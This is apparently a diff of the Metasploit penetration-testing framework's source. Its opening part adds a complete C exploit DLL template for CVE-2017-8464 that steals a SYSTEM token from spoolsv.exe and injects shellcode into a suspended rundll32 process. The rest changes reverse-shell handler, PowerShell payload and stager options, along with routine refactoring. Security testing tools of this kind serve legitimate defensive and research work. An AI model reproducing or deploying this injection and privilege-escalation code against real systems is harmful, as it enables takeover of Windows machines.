chmod -x ../../../../data/exploits/cve-2017-8464/template_x64_windows.dll
${CCx86}-gcc -c -Os template.c -Wall -shared
${CCx86}-dllwrap --def template.def *.o -o temp.dll
${CCx86}-strip -s temp.dll -o ../../../../data/exploits/cve-2017-8464/template_x86_windows.dll
rm -f temp.dll *.o
chmod -x ../../../../data/exploits/cve-2017-8464/template_x86_windows.dll

View File

@ -0,0 +1,241 @@
#include <windows.h>
#include <sddl.h>
#include <tchar.h>
#include <tlhelp32.h>
#include <userenv.h>
#include "template.h"
void ExecutePayload(HANDLE hDll);
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) {
switch (dwReason) {
case DLL_PROCESS_ATTACH:
ExecutePayload(hDll);
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
BOOL StringEndsWithStringA(LPCSTR szStr, LPCSTR szSuffix, BOOL bCaseSensitive) {
int result;
if (strlen(szStr) < strlen(szSuffix)) {
return FALSE;
}
if (bCaseSensitive) {
result = strcmp((szStr + strlen(szStr) - strlen(szSuffix)), szSuffix);
}
else {
result = _stricmp((szStr + strlen(szStr) - strlen(szSuffix)), szSuffix);
}
return result == 0;
}
BOOL GetProcessSid(HANDLE hProc, PSID *pSid) {
HANDLE hToken;
DWORD dwLength = 0;
TOKEN_USER *tuUser = NULL;
SIZE_T szSid = 0;
*pSid = NULL;
if (!OpenProcessToken(hProc, (TOKEN_READ), &hToken)) {
return FALSE;
}
GetTokenInformation(hToken, TokenUser, NULL, 0, &dwLength);
tuUser = (TOKEN_USER *)malloc(dwLength);
if (!tuUser) {
return FALSE;
}
if (!GetTokenInformation(hToken, TokenUser, tuUser, dwLength, &dwLength)) {
free(tuUser);
return FALSE;
}
szSid = GetLengthSid(tuUser->User.Sid);
*pSid = LocalAlloc(LPTR, szSid);
if ((*pSid) && (!CopySid((DWORD)szSid, *pSid, tuUser->User.Sid))) {
LocalFree(*pSid);
*pSid = NULL;
}
free(tuUser);
CloseHandle(hToken);
return *pSid != NULL;
}
BOOL IsProcessRunningAsSidString(HANDLE hProc, LPCTSTR sStringSid, PBOOL pbResult) {
PSID pTestSid = NULL;
PSID pTargetSid = NULL;
if (!ConvertStringSidToSid(sStringSid, &pTargetSid)) {
return FALSE;
}
if (!GetProcessSid(hProc, &pTestSid)) {
LocalFree(pTargetSid);
return FALSE;
}
*pbResult = EqualSid(pTestSid, pTargetSid);
LocalFree(pTargetSid);
LocalFree(pTestSid);
return TRUE;
}
DWORD FindProcessId(LPCTSTR szProcessName) {
HANDLE hProcessSnap;
PROCESSENTRY32 pe32;
DWORD result = 0;
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hProcessSnap == INVALID_HANDLE_VALUE) {
return 0;
}
pe32.dwSize = sizeof(PROCESSENTRY32);
if (!Process32First(hProcessSnap, &pe32)) {
CloseHandle(hProcessSnap);
return 0;
}
do {
if (!strcmp(szProcessName, pe32.szExeFile)) {
result = pe32.th32ProcessID;
break;
}
} while (Process32Next(hProcessSnap, &pe32));
CloseHandle(hProcessSnap);
return result;
}
HANDLE GetPayloadToken(void) {
HANDLE hTokenHandle = NULL;
HANDLE hProcessHandle = NULL;
BOOL bIsSystem = FALSE;
DWORD dwPid = 0;
CHAR Path[MAX_PATH + 1];
ZeroMemory(Path, sizeof(Path));
GetModuleFileNameA(NULL, Path, MAX_PATH);
if (!StringEndsWithStringA(Path, "\\SearchProtocolHost.exe", TRUE)) {
return NULL;
}
/* loaded into the context of SearchProtocolHost.exe */
if (IsProcessRunningAsSystem(GetCurrentProcess(), &bIsSystem) && (!bIsSystem)) {
return NULL;
}
/* and running as NT_AUTHORITY SYSTEM */
dwPid = FindProcessId("spoolsv.exe");
if (!dwPid) {
return NULL;
}
hProcessHandle = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, dwPid);
if (!hProcessHandle) {
return NULL;
}
bIsSystem = FALSE;
if (IsProcessRunningAsSystem(hProcessHandle, &bIsSystem) && (!bIsSystem)) {
return NULL;
}
/* spoolsv.exe is also running as NT_AUTHORITY SYSTEM */
OpenProcessToken(hProcessHandle, TOKEN_DUPLICATE | TOKEN_QUERY | TOKEN_ASSIGN_PRIMARY, &hTokenHandle);
CloseHandle(hProcessHandle);
return hTokenHandle;
}
DWORD WINAPI MonitorPayloadProcess(PEXPLOIT_DATA pExploitData) {
/* wait for the process to exit or 10 seconds before cleaning up */
WaitForSingleObject(pExploitData->hProcess, 10000);
CloseHandle(pExploitData->hProcess);
CloseHandle(pExploitData->hMutex);
/* this does not return */
FreeLibraryAndExitThread(pExploitData->hModule, 0);
return 0;
}
void ExecutePayload(HANDLE hDll) {
PROCESS_INFORMATION pi;
STARTUPINFO si;
CONTEXT ctx;
LPVOID ep;
SECURITY_ATTRIBUTES MutexAttributes;
SIZE_T dwBytesWritten = 0;
PEXPLOIT_DATA pExploitData = NULL;
HANDLE hToken;
pExploitData = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(EXPLOIT_DATA));
if (!pExploitData) {
return;
}
/* keep a reference to the module for synchronization purposes */
GetModuleHandleEx(GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS, hDll, (HINSTANCE *)&(pExploitData->hModule));
ZeroMemory(&MutexAttributes, sizeof(MutexAttributes));
MutexAttributes.nLength = sizeof(MutexAttributes);
MutexAttributes.bInheritHandle = TRUE; // inherit the handle
pExploitData->hMutex = CreateMutex(&MutexAttributes, TRUE, "MUTEX!!!");
if (!pExploitData->hMutex) {
return;
}
if (GetLastError() == ERROR_ALREADY_EXISTS) {
CloseHandle(pExploitData->hMutex);
return;
}
if (GetLastError() == ERROR_ACCESS_DENIED) {
CloseHandle(pExploitData->hMutex);
return;
}
hToken = GetPayloadToken();
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
/* start up the payload in a new process */
if (CreateProcessAsUser(hToken, NULL, "rundll32.exe", NULL, NULL, FALSE, CREATE_SUSPENDED | IDLE_PRIORITY_CLASS, NULL, NULL, &si, &pi)) {
ctx.ContextFlags = CONTEXT_INTEGER | CONTEXT_CONTROL;
GetThreadContext(pi.hThread, &ctx);
ep = (LPVOID)VirtualAllocEx(pi.hProcess, NULL, SCSIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess,(PVOID)ep, &code, SCSIZE, &dwBytesWritten);
if (dwBytesWritten == SCSIZE) {
#ifdef _WIN64
ctx.Rip = (DWORD64)ep;
#else
ctx.Eip = (DWORD)ep;
#endif
SetThreadContext(pi.hThread, &ctx);
ResumeThread(pi.hThread);
CloseHandle(pi.hThread);
pExploitData->hProcess = pi.hProcess;
}
}
if (hToken) {
CloseHandle(hToken);
}
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MonitorPayloadProcess, pExploitData, 0, NULL);
}

View File

@ -0,0 +1,11 @@
#define SCSIZE 2048
unsigned char code[SCSIZE] = "PAYLOAD:";
typedef struct {
HANDLE hModule;
HANDLE hMutex;
HANDLE hProcess;
} EXPLOIT_DATA, *PEXPLOIT_DATA;
#define SIDSTR_SYSTEM _T("s-1-5-18")
#define IsProcessRunningAsSystem(hProc, bResult) IsProcessRunningAsSidString(hProc, SIDSTR_SYSTEM, bResult)

View File

@ -634,8 +634,8 @@ module Metasploit
if idx > 0
encryption_mode = resp[idx, 1].unpack("C")[0]
else
raise RunTimeError, "Unable to parse encryption req. "\
"from server during prelogin"
framework_module.print_error("Unable to parse encryption req " \
"during pre-login, this may not be a MSSQL server")
encryption_mode = ENCRYPT_NOT_SUP
end
@ -682,8 +682,9 @@ module Metasploit
if idx > 0
encryption_mode = resp[idx, 1].unpack("C")[0]
else
raise RuntimeError, "Unable to parse encryption "\
"req during pre-login"
framework_module.print_error("Unable to parse encryption req " \
"during pre-login, this may not be a MSSQL server")
encryption_mode = ENCRYPT_NOT_SUP
end
end
encryption_mode

View File

@ -30,7 +30,7 @@ module Metasploit
end
end
VERSION = "4.16.13"
VERSION = "4.16.23"
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
PRERELEASE = 'dev'
HASH = get_hash

View File

@ -634,7 +634,6 @@ class ReadableText
sess_via = session.via_exploit.to_s
sess_type = session.type.to_s
sess_uuid = session.payload_uuid.to_s
sess_puid = session.payload_uuid.respond_to?(:puid_hex) ? session.payload_uuid.puid_hex : nil
sess_luri = session.exploit_datastore['LURI'] || "" if session.exploit_datastore
sess_enc = false
if session.respond_to?(:tlv_enc_key) && session.tlv_enc_key && session.tlv_enc_key[:key]
@ -652,10 +651,10 @@ class ReadableText
sess_checkin = "#{(Time.now.to_i - session.last_checkin.to_i)}s ago @ #{session.last_checkin.to_s}"
end
if session.payload_uuid.respond_to?(:puid_hex) && (uuid_info = framework.uuid_db[sess_puid])
if session.payload_uuid.registered
sess_registration = "Yes"
if uuid_info['name']
sess_registration << " - Name=\"#{uuid_info['name']}\""
if session.payload_uuid.name
sess_registration << " - Name=\"#{session.payload_uuid.name}\""
end
end

View File

@ -147,9 +147,9 @@ class Meterpreter < Rex::Post::Meterpreter::Client
guid = [SecureRandom.uuid.gsub(/-/, '')].pack('H*')
session.core.set_session_guid(guid)
session.session_guid = guid
# TODO: New statgeless session, do some account in the DB so we can track it later.
# TODO: New stageless session, do some account in the DB so we can track it later.
else
# TODO: This session was either staged or previously known, and so we shold do some accounting here!
# TODO: This session was either staged or previously known, and so we should do some accounting here!
end
unless datastore['AutoLoadStdapi'] == false

View File

@ -0,0 +1,29 @@
# -*- coding: binary -*-
require 'msf/base/sessions/meterpreter'
module Msf
module Sessions
###
#
# This class creates a platform-specific meterpreter session type
#
###
class Meterpreter_ppce500v2_Linux < Msf::Sessions::Meterpreter
def supports_ssl?
false
end
def supports_zlib?
false
end
def initialize(rstream, opts={})
super
self.base_platform = 'linux'
self.base_arch = ARCH_PPCE500V2
end
end
end
end

View File

@ -27,6 +27,10 @@ module Msf
generate_uri_uuid_mode(:init_connect, uri_req_len, uuid: opts[:uuid])
end
def generate_uri_option(opts, opt)
opts[opt] ? "--#{opt} '#{opts[opt].gsub(/'/, "\\'")}' " : ''
end
def generate_http_uri(opts)
if Rex::Socket.is_ipv6?(opts[:lhost])
target_uri = "#{opts[:scheme]}://[#{opts[:lhost]}]"
@ -38,7 +42,15 @@ module Msf
target_uri << opts[:lport].to_s
target_uri << luri
target_uri << generate_uri(opts)
target_uri
target_uri << '|'
target_uri << generate_uri_option(opts, :ua)
target_uri << generate_uri_option(opts, :host)
target_uri << generate_uri_option(opts, :referer)
if opts[:cookie]
opts[:header] = "Cookie: #{opts[:cookie]}"
target_uri << generate_uri_option(opts, :header)
end
target_uri.strip
end
def generate_tcp_uri(opts)
@ -57,14 +69,11 @@ module Msf
case opts[:scheme]
when 'http'
transport = transport_config_reverse_http(opts)
opts[:uri] = generate_http_uri(transport)
opts[:uri] = generate_http_uri(transport_config_reverse_http(opts))
when 'https'
transport = transport_config_reverse_https(opts)
opts[:uri] = generate_http_uri(transport)
opts[:uri] = generate_http_uri(transport_config_reverse_https(opts))
when 'tcp'
transport = transport_config_reverse_tcp(opts)
opts[:uri] = generate_tcp_uri(transport)
opts[:uri] = generate_tcp_uri(transport_config_reverse_tcp(opts))
else
raise ArgumentError, "Unknown scheme: #{opts[:scheme]}"
end
@ -74,7 +83,7 @@ module Msf
unless opts[:stageless] == true
guid = [SecureRandom.uuid.gsub(/-/, '')].pack('H*')
end
opts[:session_guid] = Base64.encode64(guid)
opts[:session_guid] = Base64.encode64(guid).strip
opts.slice(:uuid, :session_guid, :uri, :debug, :log_file)
end

View File

@ -27,7 +27,7 @@ module Scriptable
# Scan all of the path combinations
check_paths.each { |path|
if ::File.exist?(path)
if ::File.file?(path)
full_path = path
break
end
@ -150,7 +150,7 @@ module Scriptable
# session
local_exploit_opts = local_exploit_opts.merge(opts)
new_session = mod.exploit_simple(
mod.exploit_simple(
'Payload' => local_exploit_opts.delete('payload'),
'Target' => local_exploit_opts.delete('target'),
'LocalInput' => self.user_input,

View File

@ -10,8 +10,7 @@
#
###
# Sanity check this version of ruby
require 'msf/sanity'
# Include backported features for older versions of Ruby
require 'backports'
# The framework-core depends on Rex

View File

@ -17,6 +17,7 @@ class Msf::Author
KNOWN = {
'amaloteaux' => 'alex_maloteaux' + 0x40.chr + 'metasploit.com',
'anonymous' => 'Unknown',
'aushack' => 'patrick' + 0x40.chr + 'osisecurity.com.au',
'bannedit' => 'bannedit' + 0x40.chr + 'metasploit.com',
'Carlos Perez' => 'carlos_perez' + 0x40.chr + 'darkoperator.com',
'cazz' => 'bmc' + 0x40.chr + 'shmoo.com',
@ -39,7 +40,6 @@ class Msf::Author
'mubix' => 'mubix' + 0x40.chr + 'hak5.org',
'natron' => 'natron' + 0x40.chr + 'metasploit.com',
'optyx' => 'optyx' + 0x40.chr + 'no$email.com',
'patrick' => 'patrick' + 0x40.chr + 'osisecurity.com.au',
'pusscat' => 'pusscat' + 0x40.chr + 'metasploit.com',
'Ramon de C Valle' => 'rcvalle' + 0x40.chr + 'metasploit.com',
'sf' => 'stephen_fewer' + 0x40.chr + 'harmonysecurity.com',

View File

@ -43,7 +43,7 @@ def rport
end
def set_nmap_cmd
self.nmap_bin || (raise RuntimeError, "Cannot locate nmap binary")
self.nmap_bin || (raise "Cannot locate nmap binary")
nmap_set_log
nmap_add_ports
nmap_cmd = [self.nmap_bin]
@ -54,7 +54,7 @@ def set_nmap_cmd
end
def get_nmap_ver
self.nmap_bin || (raise RuntimeError, "Cannot locate nmap binary")
self.nmap_bin || (raise "Cannot locate nmap binary")
res = ""
nmap_cmd = [self.nmap_bin]
nmap_cmd << "--version"
@ -84,7 +84,7 @@ def nmap_version_at_least?(test_ver=nil)
end
def nmap_build_args
raise RuntimeError, "nmap_build_args() not defined by #{self.refname}"
raise "nmap_build_args() not defined by #{self.refname}"
end
def nmap_run
@ -159,13 +159,13 @@ end
# A helper to add in rport or rports as a -p argument
def nmap_add_ports
if not nmap_validate_rports
raise RuntimeError, "Cannot continue without a valid port list."
raise "Cannot continue without a valid port list."
end
port_arg = "-p \"#{datastore['RPORT'] || rports}\""
if nmap_validate_arg(port_arg)
self.nmap_args << port_arg
else
raise RunTimeError, "Argument is invalid"
raise "Argument is invalid"
end
end
@ -237,7 +237,7 @@ end
# module to ferret out whatever's interesting in this host
# object.
def nmap_hosts(&block)
@nmap_bin || (raise RuntimeError, "Cannot locate the nmap binary.")
@nmap_bin || (raise "Cannot locate the nmap binary.")
fh = self.nmap_log[0]
nmap_data = fh.read(fh.stat.size)
# fh.unlink

View File

@ -44,7 +44,7 @@ module Msf::DBManager::Report
unless artifact.valid?
errors = artifact.errors.full_messages.join('; ')
raise RuntimeError "Artifact to be imported is not valid: #{errors}"
raise "Artifact to be imported is not valid: #{errors}"
end
artifact.save
end
@ -66,7 +66,7 @@ module Msf::DBManager::Report
unless report.valid?
errors = report.errors.full_messages.join('; ')
raise RuntimeError "Report to be imported is not valid: #{errors}"
raise "Report to be imported is not valid: #{errors}"
end
report.state = :complete # Presume complete since it was exported
report.save

View File

@ -137,6 +137,8 @@ module Exploit::CmdStager
raise ArgumentError, 'The command stager could not be generated'
end
vprint_status("Generated command stager: #{cmd_list.join}")
cmd_list
end

View File

@ -474,7 +474,13 @@ module Exploit::Remote::HttpClient
uri = normalize_uri(custom_uri || target_uri.to_s)
"#{uri_scheme}://#{rhost}#{uri_port}#{uri}"
if Rex::Socket.is_ipv6?(rhost)
uri_host = "[#{rhost}]"
else
uri_host = rhost
end
"#{uri_scheme}://#{uri_host}#{uri_port}#{uri}"
end
#

View File

@ -14,9 +14,11 @@ module Exploit::Powershell
OptBool.new('Powershell::sub_vars', [true, 'Substitute variable names', false]),
OptBool.new('Powershell::sub_funcs', [true, 'Substitute function names', false]),
OptBool.new('Powershell::exec_in_place', [true, 'Produce PSH without executable wrapper', false]),
OptBool.new('Powershell::remove_comspec', [true, 'Produce script calling powershell directly', false]),
OptBool.new('Powershell::noninteractive', [true, 'Execute powershell without interaction', true]),
OptBool.new('Powershell::encode_final_payload', [true, 'Encode final payload for -EncodedCommand', false]),
OptBool.new('Powershell::encode_inner_payload', [true, 'Encode inner payload for -EncodedCommand', false]),
OptBool.new('Powershell::use_single_quotes', [true, 'Wraps the -Command argument in single quotes', false]),
OptBool.new('Powershell::wrap_double_quotes', [true, 'Wraps the -Command argument in single quotes', true]),
OptBool.new('Powershell::no_equals', [true, 'Pad base64 until no "=" remains', false]),
OptEnum.new('Powershell::method', [true, 'Payload delivery method', 'reflection', %w[net reflection old msil]])
]
@ -215,14 +217,13 @@ module Exploit::Powershell
# powershell script
# @option opts [Boolean] :remove_comspec Removes the %COMSPEC%
# environment variable at the start of the command line
# @option opts [Boolean] :use_single_quotes Wraps the -Command
# argument in single quotes unless :encode_final_payload
# @option opts [Boolean] :wrap_double_quotes Wraps the -Command
# argument in double quotes unless :encode_final_payload
#
# @return [String] Powershell command line with payload
def cmd_psh_payload(pay, payload_arch, opts = {})
options.validate(datastore)
%i[persist prepend_sleep exec_in_place encode_final_payload encode_inner_payload use_single_quotes no_equals method].map do |opt|
%i[persist prepend_sleep exec_in_place encode_final_payload encode_inner_payload
remove_comspec noninteractive wrap_double_quotes no_equals method].map do |opt|
opts[opt] ||= datastore["Powershell::#{opt}"]
end

View File

@ -111,7 +111,7 @@ module Exploit::Remote::SMTPDeliver
unless res[0..2] == '235'
print_error("Authentication failed, quitting")
disconnect(nsock)
raise RuntimeError.new 'Could not authenticate to SMTP server'
raise 'Could not authenticate to SMTP server'
end
else
print_status("Server requested auth and no creds given, trying to continue anyway")
@ -126,7 +126,7 @@ module Exploit::Remote::SMTPDeliver
unless res[0..2] == '235'
print_error("Authentication failed, quitting")
disconnect(nsock)
raise RuntimeError.new 'Could not authenticate to SMTP server'
raise 'Could not authenticate to SMTP server'
end
else
print_status("Server requested auth and no creds given, trying to continue anyway")

View File

@ -222,7 +222,16 @@ protected
s.set_from_exploit(assoc_exploit)
# Pass along any associated payload uuid if specified
s.payload_uuid = opts[:payload_uuid] if opts[:payload_uuid]
if opts[:payload_uuid]
s.payload_uuid = opts[:payload_uuid]
if s.payload_uuid.respond_to?(:puid_hex) && (uuid_info = framework.uuid_db[s.payload_uuid.puid_hex])
s.payload_uuid.registered = true
s.payload_uuid.name = uuid_info['name']
s.payload_uuid.timestamp = uuid_info['timestamp']
else
s.payload_uuid.registered = false
end
end
# If the session is valid, register it with the framework and
# notify any waiters we may have.

View File

@ -52,16 +52,38 @@ module ReverseHttp
register_advanced_options(
[
OptString.new('MeterpreterUserAgent', [false, 'The user-agent that the payload should use for communication', Rex::UserAgent.shortest]),
OptString.new('MeterpreterServerName', [false, 'The server header that the handler will send in response to requests', 'Apache']),
OptAddress.new('ReverseListenerBindAddress', [false, 'The specific IP address to bind to on the local system']),
OptBool.new('OverrideRequestHost', [false, 'Forces a specific host and port instead of using what the client requests, defaults to LHOST:LPORT', false]),
OptString.new('OverrideLHOST', [false, 'When OverrideRequestHost is set, use this value as the host name for secondary requests']),
OptPort.new('OverrideLPORT', [false, 'When OverrideRequestHost is set, use this value as the port number for secondary requests']),
OptString.new('OverrideScheme', [false, 'When OverrideRequestHost is set, use this value as the scheme for secondary requests, e.g http or https']),
OptString.new('HttpUnknownRequestResponse', [false, 'The returned HTML response body when the handler receives a request that is not from a payload', '<html><body><h1>It works!</h1></body></html>']),
OptBool.new('IgnoreUnknownPayloads', [false, 'Whether to drop connections from payloads using unknown UUIDs', false])
OptAddress.new('ReverseListenerBindAddress',
'The specific IP address to bind to on the local system'
),
OptBool.new('OverrideRequestHost',
'Forces a specific host and port instead of using what the client requests, defaults to LHOST:LPORT',
),
OptString.new('OverrideLHOST',
'When OverrideRequestHost is set, use this value as the host name for secondary requests'
),
OptPort.new('OverrideLPORT',
'When OverrideRequestHost is set, use this value as the port number for secondary requests'
),
OptString.new('OverrideScheme',
'When OverrideRequestHost is set, use this value as the scheme for secondary requests, e.g http or https'
),
OptString.new('HttpUserAgent',
'The user-agent that the payload should use for communication',
default: Rex::UserAgent.shortest,
aliases: ['MeterpreterUserAgent']
),
OptString.new('HttpServerName',
'The server header that the handler will send in response to requests',
default: 'Apache',
aliases: ['MeterpreterServerName']
),
OptString.new('HttpUnknownRequestResponse',
'The returned HTML response body when the handler receives a request that is not from a payload',
default: '<html><body><h1>It works!</h1></body></html>'
),
OptBool.new('IgnoreUnknownPayloads',
'Whether to drop connections from payloads using unknown UUIDs'
)
], Msf::Handler::ReverseHttp)
end
@ -204,7 +226,7 @@ module ReverseHttp
raise ex if (ex)
self.service.server_name = datastore['MeterpreterServerName']
self.service.server_name = datastore['HttpServerName']
# Add the new resource
service.add_resource((luri + "/").gsub("//", "/"),
@ -245,14 +267,14 @@ protected
info = {}
return @proxy_settings if @proxy_settings
if datastore['PayloadProxyHost'].to_s == ''
if datastore['HttpProxyHost'].to_s == ''
@proxy_settings = info
return @proxy_settings
end
info[:host] = datastore['PayloadProxyHost'].to_s
info[:port] = (datastore['PayloadProxyPort'] || 8080).to_i
info[:type] = datastore['PayloadProxyType'].to_s
info[:host] = datastore['HttpProxyHost'].to_s
info[:port] = (datastore['HttpProxyPort'] || 8080).to_i
info[:type] = datastore['HttpProxyType'].to_s
uri_host = info[:host]
@ -266,11 +288,11 @@ protected
info[:info] = "socks=#{info[:info]}"
else
info[:info] = "http://#{info[:info]}"
if datastore['PayloadProxyUser'].to_s != ''
info[:username] = datastore['PayloadProxyUser'].to_s
if datastore['HttpProxyUser'].to_s != ''
info[:username] = datastore['HttpProxyUser'].to_s
end
if datastore['PayloadProxyPass'].to_s != ''
info[:password] = datastore['PayloadProxyPass'].to_s
if datastore['HttpProxyPass'].to_s != ''
info[:password] = datastore['HttpProxyPass'].to_s
end
end
@ -347,8 +369,6 @@ protected
blob = self.generate_stage(
url: url,
uuid: uuid,
lhost: uri.host,
lport: uri.port,
uri: conn_id
)

View File

@ -38,14 +38,11 @@ module ReverseHttpsProxy
register_options(
[
OptAddressLocal.new('LHOST', [ true, "The local listener hostname" ,"127.0.0.1"]),
OptPort.new('LPORT', [ true, "The local listener port", 8443 ]),
OptString.new('PayloadProxyHost', [true, "The proxy server's IP address", "127.0.0.1"]),
OptPort.new('PayloadProxyPort', [true, "The proxy port to connect to", 8080 ]),
OptEnum.new('PayloadProxyType', [true, 'The proxy type, HTTP or SOCKS', 'HTTP', ['HTTP', 'SOCKS']]),
OptString.new('PayloadProxyUser', [ false, "An optional username for HTTP proxy authentication"]),
OptString.new('PayloadProxyPass', [ false, "An optional password for HTTP proxy authentication"])
], Msf::Handler::ReverseHttpsProxy)
OptAddressLocal.new('LHOST', "The local listener hostname", default: "127.0.0.1"),
OptPort.new('LPORT', "The local listener port", default: 8443)
] +
Msf::Opt::http_proxy_options,
Msf::Handler::ReverseHttpsProxy)
register_advanced_options(
[

View File

@ -45,15 +45,6 @@ module ReverseTcp
# XXX: Not supported by all modules
register_advanced_options(
[
OptInt.new(
'StagerRetryCount',
[ true, 'The number of connection attempts to try before exiting the process', 10 ],
aliases: ['ReverseConnectRetries']
),
OptFloat.new(
'StagerRetryWait',
[ false, 'Number of seconds to wait for the stager between reconnect attempts', 5.0 ]
),
OptAddress.new(
'ReverseListenerBindAddress',
[ false, 'The specific IP address to bind to on the local system' ]
@ -62,7 +53,8 @@ module ReverseTcp
'ReverseListenerThreaded',
[ true, 'Handle every connection in a new thread (experimental)', false ]
)
],
] +
Msf::Opt::stager_retry_options,
Msf::Handler::ReverseTcp
)

View File

@ -1,23 +1,79 @@
module Msf::Module::External
include Msf::Auxiliary::Report
def wait_status(mod)
begin
while mod.running
m = mod.get_status
if m
case m['level']
case m.method
when :message
log_output(m)
when :report
process_report(m)
when :reply
# we're done
break
end
end
end
rescue Interrupt => e
raise e
rescue Exception => e
elog e.backtrace.join("\n")
fail_with Msf::Module::Failure::Unknown, e.message
end
end
def log_output(m)
message = m.params['message']
case m.params['level']
when 'error'
print_error m['message']
print_error message
when 'warning'
print_warning m['message']
print_warning message
when 'good'
print_good m['message']
print_good message
when 'info'
print_status m['message']
print_status message
when 'debug'
vprint_status m['message']
vprint_status message
else
print_status m['message']
print_status message
end
end
def process_report(m)
data = m.params['data']
case m.params['type']
when 'host'
# Required
host = {host: data['host']}
# Optional
host[:state] = data['state'] if data['state'] # TODO: validate -- one of the Msf::HostState constants (unknown, alive, dead)
host[:os_name] = data['os_name'] if data['os_name']
host[:os_flavor] = data['os_flavor'] if data['os_flavor']
host[:os_sp] = data['os_sp'] if data['os_sp']
host[:os_lang] = data['os_lang'] if data['os_lang']
host[:arch] = data['arch'] if data['arch'] # TODO: validate -- one of the ARCH_* constants
host[:mac] = data['mac'] if data['mac']
host[:scope] = data['scope'] if data['scope']
host[:virtual_host] = data['virtual_host'] if data['virtual_host']
report_host(host)
when 'service'
# Required
service = {host: data['host'], port: data['port'], proto: data['proto']}
# Optional
service[:name] = data['name'] if data['name']
report_service(service)
else
print_warning "Skipping unrecognized report type #{m.params['type']}"
end
end
end

View File

@ -24,6 +24,10 @@ module Msf::Module::FullName
type + '/' + refname
end
def promptname
refname
end
def shortname
refname.split('/').last
end
@ -55,9 +59,16 @@ module Msf::Module::FullName
end
#
# Returns the module's framework short name. This is a
# possibly conflicting name used for things like console
# prompts.
# Returns the module's framework prompt-friendly name.
#
# reverse_tcp
#
def promptname
self.class.promptname
end
#
# Returns the module's framework short name.
#
# reverse_tcp
#

View File

@ -143,8 +143,7 @@ class Msf::Module::Platform
if (not mod.const_defined?('Names'))
elog("Failed to instantiate the platform list for module #{mod}")
raise RuntimeError.new("Failed to instantiate the platform list for module #{mod}")
return nil
raise "Failed to instantiate the platform list for module #{mod}"
end
abbrev = mod.const_get('Abbrev')

View File

@ -116,8 +116,8 @@ module Msf::ModuleManager::Loading
loaders.each do |loader|
if loader.loadable?(path)
count_by_type.merge!(loader.load_modules(path, options)) do |key, old, new|
old + new
count_by_type.merge!(loader.load_modules(path, options)) do |key, prev, now|
prev + now
end
end
end

View File

@ -2,6 +2,7 @@
require 'msf/core/modules/external'
require 'msf/core/modules/external/message'
require 'open3'
require 'json'
class Msf::Modules::External::Bridge
@ -26,14 +27,13 @@ class Msf::Modules::External::Bridge
def get_status
if self.running
n = receive_notification
if n && n['params']
n['params']
else
m = receive_notification
if m.nil?
close_ios
self.running = false
n['response'] if n
end
return m
end
end
@ -41,30 +41,35 @@ class Msf::Modules::External::Bridge
self.env = {}
self.running = false
self.path = module_path
self.cmd = [self.path, self.path]
self.messages = Queue.new
self.buf = ''
end
protected
attr_writer :path, :running
attr_accessor :env, :ios
attr_accessor :cmd, :env, :ios, :buf, :messages, :wait_thread
def describe
resp = send_receive(Msf::Modules::External::Message.new(:describe))
close_ios
resp['response']
resp.params
end
# XXX TODO non-blocking writes, check write lengths, non-blocking JSON parse loop read
# XXX TODO non-blocking writes, check write lengths
def send_receive(message)
send(message)
read_json(message.id, self.ios[1])
recv(message.id)
end
def send(message)
input, output, status = ::Open3.popen3(env, [self.path, self.path])
self.ios = [input, output, status]
case Rex::ThreadSafe.select(nil, [input], nil, 0.1)
input, output, err, status = ::Open3.popen3(self.env, self.cmd)
self.ios = [input, output, err]
self.wait_thread = status
# We would call Rex::Threadsafe directly, but that would require rex for standalone use
case select(nil, [input], nil, 0.1)
when nil
raise "Cannot run module #{self.path}"
when [[], [input], []]
@ -76,12 +81,10 @@ class Msf::Modules::External::Bridge
end
def receive_notification
input, output, status = self.ios
case Rex::ThreadSafe.select([output], nil, nil, 10)
when nil
nil
when [[output], [], []]
read_json(nil, output)
if self.messages.empty?
recv
else
self.messages.pop
end
end
@ -89,18 +92,76 @@ class Msf::Modules::External::Bridge
fd.write(json)
end
def read_json(id, fd)
def recv(filter_id=nil, timeout=600)
_, out, err = self.ios
message = ''
# Multiple messages can come over the wire all at once, and since yajl
# doesn't play nice with windows, we have to emulate a state machine to
# read just enough off the wire to get one request at a time. Since
# Windows cannot do a nonblocking read on a pipe, we are forced to do a
# whole lot of `select` syscalls and keep a buffer ourselves :(
begin
resp = fd.readpartial(10_000)
JSON.parse(resp)
loop do
# This is so we don't end up calling JSON.parse on every char and
# catch an exception. Windows can't do nonblock on pipes, so we
# still have to do the select if we are not at the end of object
# and don't have any buffer left
parts = self.buf.split '}', 2
if parts.length == 2 # [part, rest]
message << parts[0] << '}'
self.buf = parts[1]
break
elsif parts.length == 1 # [part]
if self.buf[-1] == '}'
message << parts[0] << '}'
self.buf = ''
break
else
message << parts[0]
self.buf = ''
end
end
# We would call Rex::Threadsafe directly, but that would require Rex for standalone use
res = select([out, err], nil, nil, timeout)
if res == nil
# This is what we would have gotten without Rex and what `readpartial` can also raise
raise EOFError.new
else
fds = res[0]
# Preferentially drain and log stderr
if fds.include? err
errbuf = err.readpartial(4096)
elog "Unexpected output running #{self.path}:\n#{errbuf}"
end
if fds.include? out
self.buf << out.readpartial(4096)
end
end
end
m = Msf::Modules::External::Message.from_module(JSON.parse(message))
if filter_id && m.id != filter_id
# We are filtering for a response to a particular message, but we got
# something else, store the message and try again
self.messages.push m
read_json(filter_id, timeout)
else
# Either we weren't filtering, or we got what we were looking for
m
end
rescue JSON::ParserError
# Probably an incomplete response, but no way to really tell. Keep trying
# until EOF
retry
rescue EOFError => e
{}
nil
end
end
def close_ios
input, output, status = self.ios
[input, output].each {|fd| fd.close rescue nil} # Yeah, yeah. I know.
self.ios.each {|fd| fd.close rescue nil} # Yeah, yeah. I know.
end
end

View File

@ -2,11 +2,25 @@
require 'msf/core/modules/external'
require 'base64'
require 'json'
require 'securerandom'
